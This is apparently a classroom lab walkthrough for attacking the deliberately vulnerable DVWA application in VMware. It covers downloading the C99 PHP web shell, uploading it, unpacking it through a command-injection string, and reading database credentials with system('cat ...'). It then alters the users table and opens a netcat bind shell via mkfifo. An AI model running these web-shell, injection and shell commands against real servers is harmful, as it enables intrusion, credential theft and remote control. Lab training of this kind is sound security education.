Hướng Dẫn Thực hành - Upload and use C99.php Backdoor shell (DVWA): Lesson 14

{ Upload and use C99.php Backdoor shell  }

---

Section 0. Background Information

1. What is Damn Vulnerable Web App (DVWA)?
   • Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable.
   • Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.
2. Pre-Requisite Labs
   • Damn Vulnerable Web App (DVWA): Lesson 1: How to Install DVWA in Fedora 14
3. Lab Notes
   • In this lab we will do the following:
     1. We will download C99.php.
     2. We will upload C99.php to the DVWA Upload screen.
     3. We will search for sensitive database files.
     4. We will extract the database password.
     5. We will execute netcat from the C99.php Bind Interface.
4. Legal Disclaimer
   Bài lab chỉ dùng cho mục đích nghiên cứu và học tập trong môi trường lớp học.

Section 1. Configure Fedora14 Virtual Machine Settings

1. Open Your VMware Player
   • Instructions:
     1. On Your Host Computer, Go To
     2. Start --> All Program --> VMWare --> VMWare Player
2. Edit BackTrack Virtual Machine Settings
   • Instructions:
     1. Highlight fedora14
     2. Click Edit virtual machine settings
   • 
3. Edit Network Adapter
• Instructions:
  1. Highlight Network Adapter
  2. Select Bridged
  3. Click on the OK Button.
• 

Section 2. Login to Fedora14

1. Start Fedora14 VM Instance
   • Instructions:
     1. Start Up VMWare Player
     2. Select Fedora14
     3. Play virtual machine
   • 
2. Login to Fedora14
   • Instructions:
     1. Login: student
     2. Password: <whatever you set it to>.
   • 

Section 3. Open Console Terminal and Retrieve IP Address

1. Start a Terminal Console
   • Instructions:
     1. Applications --> Terminal
   • 
2. Switch user to root
   • Instructions:
     1. su - root
     2. <Whatever you set the root password to>
   • 
3. Get IP Address
   • Instructions:
     1. ifconfig -a
   • Notes:
     • As indicated below, my IP address is 192.168.1.106.
     • Please record your IP address.
   • 

Section 4. Temporarily Disable SELINUX and Firewall

1. Start a Terminal Console
   • Instructions:
     1. sestatus
     2. If SELinux status: is set to disabled OR if Current mode: is set to permissive, then skip the next steps, and Continue to the Next Section.
     3. If SELinux status: is set to enabled AND if Current mode: is set to enforcing, then Continue the next steps.
   • Notes:
     • In my case, I need to temporarily put selinux in permissive mode to demonstrate basic attacks on DVWA.
   • 
2. Place selinux in permissive mode
   • Instructions:
     1. echo 0 > /selinux/enforce
        • Placing a "0" in the enforce file, puts selinux in permissive mode.
     2. sestatus
        • Notice that "Current mode:" changed to permissive.
   • 
3. Disable Firewall
   • Instructions:
     1. service iptables save
        • This is not really necessary, unless you have made recent changes to the firewall.
     2. service iptables stop
        • This command disables the firewall.
   • 

Section 5. Fix Upload Ownership and Permissions

1. Fix Ownership and Permissions
   • Instructions:
     1. Bring up a Terminal Console on the DVWA (Fedora14) machine.
     2. chown root:apache /var/www/html/dvwa/hackable/uploads/
     3. chmod 775 /var/www/html/dvwa/hackable/uploads/
     4. ls -ld /var/www/html/dvwa/hackable/uploads/
   • Known Issue:
     1. By default, the /var/www/html/dvwa/hackable/uploads/ directory is user and group owned by root.
     2. In addition, the apache user did not have "write" permission to allow a user to place a file in the hackable/uploads directory.
   • 

Section 6. Configure BackTrack Virtual Machine Settings

1. Open Your VMware Player
   • Instructions:
     1. On Your Host Computer, Go To
     2. Start --> All Program --> VMWare --> VMWare Player
2. Edit BackTrack Virtual Machine Settings
   • Instructions:
     1. Highlight BackTrack5R1
     2. Click Edit virtual machine settings
   • 
3. Edit Network Adapter
   • Instructions:
     1. Highlight Network Adapter
     2. Select Bridged
     3. Click on the OK Button.
   • 

Section 7. Login to BackTrack

1. Start BackTrack VM Instance
   • Instructions:
     1. Start Up VMWare Player
     2. Select BackTrack5R1
     3. Play virtual machine
   • 
2. Login to BackTrack
   • Instructions:
     1. Login: root
     2. Password: toor or <whatever you changed it to>.
   • 
3. Bring up the GNOME
   • Instructions:
     1. Type startx
   • 

Section 8. Open Console Terminal and Retrieve IP Address

1. Open a console terminal
   • Instructions:
     1. Click on the console terminal
   • 
2. Get IP Address
   • Instructions:
     1. ifconfig -a
   • Notes:
     • As indicated below, my IP address is 192.168.1.105.
     • Please record your IP address.
   • 

Section 9. Download c99.php

1. Open a console terminal
   • Instructions:
     1. Click on the console terminal
   • 
2. Create msfpayload
   • Instructions:
     1. mkdir -p /root/backdoor
     2. cd /root/backdoor/
     3. wget http://r57.gen.tr/shell/c99.rar
     4. ls -l c99.rar
   • 
3. Edit PHONE_HOME.php
   • Note(FYI):
     • A rar file is a type of compress format that is seen more in the windows environment than in linux.
     • Also, we will edit the c99.php file with the sed utility.
   • Instructions:
     1. unrar x c99.rar
        • Extract c99.php
     2. cp c99.php c99.php.bkp
     3. head -1 c99.php
        • Notice how the first line does NOT contain "<?php".
     4. sed -i '1 s/^.*$/<?php/g' c99.php
        • This only replaces the first line of file with "<?php".
     5. head -1 c99.php
        • Notice how the first line DOES contain "<?php".
     6. gzip c99.php
        • I compress c99.php, because DVWA does not allow you to upload files greater than 10000 bytes.
        • I use gzip instead of rar, because gzip pretty much comes standard on most flavors of linux.
     7. ls -l
   • 

Section 10. Login to DVWA

1. Start Firefox
   • Instructions:
     1. Click on Firefox
   • 
2. Login to DVWA
   • Instructions:
     1. Start up Firefox on BackTrack
     2. Place http://192.168.1.106/dvwa/login.php in the address bar.
        • Replace 192.168.1.106 with the IP address of the DVWA (Fedora14) machine obtained in (Section 3, Step 3).
     3. Login: admin
     4. Password: password
     5. Click on Login
   • 

Section 11. Set Security Level

1. Set DVWA Security Level
   • Instructions:
     1. Click on DVWA Security, in the left hand menu.
     2. Select "low"
     3. Click Submit
   • 

Section 12. Upload PHP Payload

1. Upload Menu
   • Instructions:
     1. Select "Upload" from the left navigation menu.
     2. Click Browse
   • 
2. Navigate to /root/backdoor/c99.php.gz
   • Instructions:
     1. Click on root icon, then the backdoor folder
     2. Click on c99.php.gz
     3. Select Open
   • 
3. Upload c99.php.gz
   • Instructions:
     1. Click the Browse button and navigate to /root/backdoor/c99.php.gz
     2. Click the Upload Button
   • Note(FYI):
     • Hopefully you will receive a successfully uploaded message like below.
   • 
4. Activate PHONE_HOME.php
   • Instructions:
     1. http://192.168.1.106/dvwa/hackable/uploads/
        • Replace 192.168.1.106 with the IP address of the DVWA (Fedora14) machine obtained in (Section 3, Step 3).
     2. Notice c99.php.gz is listed
     3. Click the Back Button after you read the below Note.
   • Note(FYI):
     • Okay this is great and all, but we still have a problem.
     • The problem is that we cannot execute a compressed php file.
   • 
5. Use Command Execution to uncompress c99.php.gz
   • Instruction:
     1. Click on Command Execution
     2. 192.168.1.106; /bin/gunzip -v ../../hackable/uploads/c99.php
        • Replace 192.168.1.106 with the IP address of the DVWA (Fedora14) machine obtained in (Section 3, Step 3).
     3. Click the Submit Button
   • 
6. Establishing a Shell
   • Instructions:
     1. http://192.168.1.106/dvwa/hackable/uploads/
        • Replace 192.168.1.106 with the IP address of the DVWA (Fedora14) machine obtained in (Section 3, Step 3).
     2. Click on c99.php
   • 

Section 14. Using c99.php's to grab database password

1. Server security information
   • Instructions:
     1. Click on the Sec. link
     2. Select "find config.inc.php files"
        • Sometimes ignorant application admins place database config files in a public location.
     3. Click on the Execute button
   • 
2. Server security information
   • Instructions:
     1. Highlight /var/www/html/dvwa/config/config.inc.php
     2. Select Edit --> Copy
   • 
3. PHP-code
   • Instructions:
     1. Click on the PHP-code link
     2. In the Execution PHP-code box place the below command:
        • system("cat /var/www/html/dvwa/config/config.inc.php");
     3. Click on the Execution Button
   • 
4. Extract Database Password
   • Note(FYI):
     • Notice the config.inc.php file list the database name, username and password information.
   • Instructions:
     1. Write down the the database name, username and password information.
   • 

Section 15. Using c99.php's to examine pillage the database

1. Connect to SQL
   • Instructions:
     1. Click the SQL navigation link.
     2. Username: root
     3. Password: dvwaPASSWORD
     4. Database: dvwa
     5. Click the Connect Button
   • 
2. Connect to SQL
   • Note(FYI):
     • Notice Action icons, designated under the yellow arrow.  From left to right, the stand for delete, drop and insert.
     • Notice you have the ability to Create and Dump the database, which is also designated with yellow arrows.
   • Instructions:
     1. Click the users table
   • 
3. SQL Insert
   • Note(FYI):
     • Notice the Action icons, designated under the yellow arrow.  For each user from left to right, you have the ability to delete or modify their record.
   • Instructions:
     1. Click the Insert Navigational Link
   • 
4. Create a new user
   • Note(FYI):
     • Use your first_name and last_name for Proof of Lab purposes.
   • Instructions:
     1. user_id: 6
     2. first_name: Use your actual first name
     3. last_name: Use your actual last name
     4. user: student
     5. Select PASSWORD from the drop down
     6. password: hacker
     7. avatar: NA
     8. Click the Confirm Button
   • 
5. Finalize User Creation
   • Note(FYI):
     • Notice the SQL insert line that will be inserted into the database.  Here, the author allows you to tweak it if you need to.
   • Instructions:
     1. Click on the Yes button.
   • 
6. Viewing User Creation Results
   • Note(FYI):
     • Notice a new student record appears.
   • 

Section 16. Use c99.php to Bind with Netcat

1. Bind with Netcat
   • Instructions:
     1. Click on the Bind Navigational Link
     2. In the Command execute box enter the below syntax
        • mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe
     3. Click the Execute Button
     4. Notice the Connecting Message in the tab.
        • This means a netcat session is started
     5. Continue to next step
   • 

Section 17. Proof of Lab

1. Proof of Lab
   • Instructions:
     1. nc 192.168.1.106 4444
        • Replace 192.168.1.106 with the DVWA's IP Address obtained in (Section 3, Step 3).
     2. whoami
     3. pwd
     4. echo "select * from dvwa.users where user = 'student';" | mysql -uroot -pdvwaPASSWORD
     5. date
     6. echo "Your Name"
   • Proof of Lab Instructions:
     1. Do a <PrtScn>
     2. Paste into a word document
     3. Upload to website Www.AnToanThongTin.Edu.Vn
   • 

Trong: DVWA,Onsite Lab